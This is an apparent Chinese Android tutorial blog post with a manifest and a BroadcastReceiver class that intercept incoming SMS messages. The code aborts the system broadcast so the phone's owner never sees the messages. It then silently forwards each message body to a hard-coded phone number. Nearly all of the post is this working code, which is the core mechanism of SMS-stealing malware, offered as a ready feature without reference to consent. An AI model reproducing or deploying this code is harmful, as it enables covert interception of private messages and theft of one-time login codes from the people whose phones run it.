Android 之 拦截手机短信并自动转发
16lz
2021-01-23
拦截短信和发送短信都需要相关的权限:
主程序入口:使用广播监听系统短信
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.sms" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="9" android:targetSdkVersion="10" /> <!-- 接收 短信和发送短信的权限 --> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.SEND_SMS" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <!-- 拦截用户短信:短信广播地址:android.provider.Telephony.SMS_RECEIVED --> <receiver android:name=".SMSReceiver" > <intent-filter android:priority="700" > <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> </application></manifest>
主程序入口:使用广播监听系统短信
package com.example.sms;import android.app.PendingIntent;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;import android.widget.Toast;/** * 拦截用于短信 * * @author Administrator * */public class SMSReceiver extends BroadcastReceiver {public void onReceive(Context context, Intent intent) {if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { // 判断是否为短信的广播abortBroadcast(); // 终止广播的继续传播// 得到拦截的短信内容信息 -- 这里可以终止广播的传递,让用户收不到短信Bundle bundle = intent.getExtras();// 通过 pdus 获取到接收到的所有短信息Object[] obj = (Object[]) bundle.get("pdus");// 构建短信Array , 根据收到信息的数据数SmsMessage[] smss = new SmsMessage[obj.length];// 将获取到的短信消息全部封装到 SmsMessage[] 数组对象中for (int i = 0; i < obj.length; i++) {smss[i] = SmsMessage.createFromPdu((byte[]) obj[i]); //}StringBuilder builder = new StringBuilder(); // 保存数据PendingIntent pid = PendingIntent.getBroadcast(context, 0,new Intent(), 0);SmsManager smsManager = SmsManager.getDefault(); // 获取管理对象// 取出每一条信息for (SmsMessage sms : smss) {String address = sms.getDisplayOriginatingAddress(); // 来源String content = sms.getDisplayMessageBody(); // 获得短信内容Log.i("msg", "执行了...来源:" + address);Toast.makeText(context, "发送者:" + address + "\n 内容:" + content,Toast.LENGTH_LONG).show();// 自动发送短信://参数:1、目的号码 ; 2、短信服务中心号码 ,null表示默认; 3、短信内容; 4、发送短信结果内容 ; 5、发送短信到目地后的回复信息smsManager.sendTextMessage("15555215558", null, content, pid, null);}}}}
更多相关文章
- android权限设置
- Android的权限机制总结
- android 权限大全
- android关闭或开启移动网络数据(关闭后,设备不可以上网,但可以打电
- Android 获取屏幕宽度、高度、dpi等信息
- Android 所有可访问的权限
- android短信服务